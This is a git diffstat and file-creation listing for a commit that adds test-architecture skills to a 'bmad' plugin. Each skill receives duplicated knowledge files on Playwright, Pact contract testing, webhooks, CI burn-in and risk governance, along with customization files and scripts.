 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../resources/tea-index.csv                   |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-01-preflight-and-context.md  |   26 +-
 .../steps-c/step-01b-resume.md                |    2 +-
 .../steps-c/step-02-generation-mode.md        |    2 +-
 .../steps-c/step-03-test-strategy.md          |    2 +-
 .../steps-c/step-04-generate-tests.md         |   39 +-
 .../steps-c/step-04a-subagent-api-failing.md  |   26 +-
 .../steps-c/step-04b-subagent-e2e-failing.md  |   26 +-
 .../steps-c/step-04c-aggregate.md             |   60 +-
 .../steps-c/step-05-validate-and-complete.md  |   15 +-
 .../skills/bmad-testarch-automate/SKILL.md    |   20 +
 .../bmad-testarch-automate/customize.toml     |   27 +
 .../bmad-testarch-automate/instructions.md    |    1 -
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../resources/tea-index.csv                   |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-01-preflight-and-context.md  |    2 +-
 .../steps-c/step-03c-aggregate.md             |   11 +-
 plugins/bmad/skills/bmad-testarch-ci/SKILL.md |   20 +
 .../skills/bmad-testarch-ci/customize.toml    |   27 +
 .../harness-pipeline-template.yaml            |   13 +-
 .../skills/bmad-testarch-ci/instructions.md   |    1 -
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../bmad-testarch-ci/resources/tea-index.csv  |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-02-generate-pipeline.md      |    2 +-
 .../step-03-configure-quality-gates.md        |    2 +-
 .../skills/bmad-testarch-framework/SKILL.md   |   20 +
 .../bmad-testarch-framework/checklist.md      |    2 +-
 .../bmad-testarch-framework/customize.toml    |   27 +
 .../bmad-testarch-framework/instructions.md   |    1 -
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../resources/tea-index.csv                   |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-03-scaffold-framework.md     |    4 +-
 .../bmad/skills/bmad-testarch-nfr/SKILL.md    |   20 +
 .../skills/bmad-testarch-nfr/customize.toml   |   27 +
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../bmad-testarch-nfr/resources/tea-index.csv |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-01-load-context.md           |    2 +-
 .../skills/bmad-testarch-test-design/SKILL.md |   20 +
 .../bmad-testarch-test-design/customize.toml  |   27 +
 .../bmad-testarch-test-design/instructions.md |    1 -
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../resources/tea-index.csv                   |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-01-detect-mode.md            |    6 +
 .../steps-c/step-01b-resume.md                |   44 +-
 .../steps-c/step-02-load-context.md           |    8 +-
 .../steps-c/step-03-risk-and-testability.md   |    6 +
 .../steps-c/step-04-coverage-plan.md          |    6 +
 .../steps-c/step-05-generate-output.md        |    6 +
 .../test-design-architecture-template.md      |    3 +
 .../test-design-qa-template.md                |    5 +-
 .../test-design-template.md                   |    5 +-
 .../skills/bmad-testarch-test-review/SKILL.md |   20 +
 .../bmad-testarch-test-review/checklist.md    |    2 +-
 .../bmad-testarch-test-review/customize.toml  |   27 +
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../resources/tea-index.csv                   |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-01-load-context.md           |    2 +-
 .../steps-c/step-02-discover-tests.md         |    7 +
 .../steps-c/step-03a-subagent-determinism.md  |    2 +-
 .../bmad/skills/bmad-testarch-trace/SKILL.md  |   20 +
 .../skills/bmad-testarch-trace/checklist.md   |   60 +-
 .../skills/bmad-testarch-trace/customize.toml |   27 +
 .../bmad-testarch-trace/instructions.md       |    6 +-
 .../adr-quality-readiness-checklist.md        |  377 ++++++
 .../resources/knowledge/api-request.md        |  563 +++++++++
 .../knowledge/api-testing-patterns.md         |  915 ++++++++++++++
 .../resources/knowledge/auth-session.md       |  548 +++++++++
 .../resources/knowledge/burn-in.md            |  273 +++++
 .../resources/knowledge/ci-burn-in.md         |  717 +++++++++++
 .../resources/knowledge/component-tdd.md      |  486 ++++++++
 .../resources/knowledge/contract-testing.md   | 1050 +++++++++++++++++
 .../resources/knowledge/data-factories.md     |  500 ++++++++
 .../resources/knowledge/email-auth.md         |  721 +++++++++++
 .../resources/knowledge/error-handling.md     |  725 ++++++++++++
 .../resources/knowledge/feature-flags.md      |  750 ++++++++++++
 .../resources/knowledge/file-utils.md         |  456 +++++++
 .../knowledge/fixture-architecture.md         |  401 +++++++
 .../knowledge/fixtures-composition.md         |  382 ++++++
 .../knowledge/intercept-network-call.md       |  426 +++++++
 .../resources/knowledge/log.md                |  426 +++++++
 .../knowledge/network-error-monitor.md        |  401 +++++++
 .../resources/knowledge/network-first.md      |  486 ++++++++
 .../resources/knowledge/network-recorder.md   |  527 +++++++++
 .../resources/knowledge/nfr-criteria.md       |  670 +++++++++++
 .../resources/knowledge/overview.md           |  286 +++++
 .../resources/knowledge/pact-consumer-di.md   |  310 +++++
 .../pact-consumer-framework-setup.md          |  635 ++++++++++
 .../resources/knowledge/pact-mcp.md           |  204 ++++
 .../pactjs-utils-consumer-helpers.md          |  270 +++++
 .../knowledge/pactjs-utils-overview.md        |  216 ++++
 .../pactjs-utils-provider-verifier.md         |  315 +++++
 .../knowledge/pactjs-utils-request-filter.md  |  224 ++++
 .../resources/knowledge/playwright-cli.md     |  280 +++++
 .../resources/knowledge/playwright-config.md  |  734 ++++++++++++
 .../resources/knowledge/probability-impact.md |  601 ++++++++++
 .../resources/knowledge/recurse.md            |  421 +++++++
 .../resources/knowledge/risk-governance.md    |  615 ++++++++++
 .../resources/knowledge/selective-testing.md  |  732 ++++++++++++
 .../knowledge/selector-resilience.md          |  527 +++++++++
 .../knowledge/test-healing-patterns.md        |  644 ++++++++++
 .../knowledge/test-levels-framework.md        |  473 ++++++++
 .../knowledge/test-priorities-matrix.md       |  373 ++++++
 .../resources/knowledge/test-quality.md       |  664 +++++++++++
 .../resources/knowledge/timing-debugging.md   |  372 ++++++
 .../resources/knowledge/visual-debugging.md   |  527 +++++++++
 .../knowledge/webhook-module-setup.md         |  122 ++
 .../resources/knowledge/webhook-providers.md  |  155 +++
 .../knowledge/webhook-risk-guidance.md        |  114 ++
 .../knowledge/webhook-template-matchers.md    |  160 +++
 .../knowledge/webhook-testing-fundamentals.md |   42 +
 .../knowledge/webhook-timeout-error.md        |  130 ++
 .../knowledge/webhook-waiting-querying.md     |  167 +++
 .../resources/tea-index.csv                   |   50 +
 .../scripts/resolve-customization.py          |  183 +++
 .../steps-c/step-01-load-context.md           |   87 +-
 .../steps-c/step-01b-resume.md                |    2 +-
 .../steps-c/step-02-discover-tests.md         |   26 +-
 .../steps-c/step-03-map-criteria.md           |   24 +-
 .../steps-c/step-04-analyze-gaps.md           |  211 +++-
 .../steps-c/step-05-gate-decision.md          |  531 ++++++++-
 .../bmad-testarch-trace/trace-template.md     |   12 +-
 480 files changed, 180556 insertions(+), 320 deletions(-)
 create mode 100644 plugins/bmad/skills/bmad-teach-me-testing/customize.toml
 create mode 100755 plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/customize.toml
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-atdd/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-atdd/scripts/resolve-customization.py
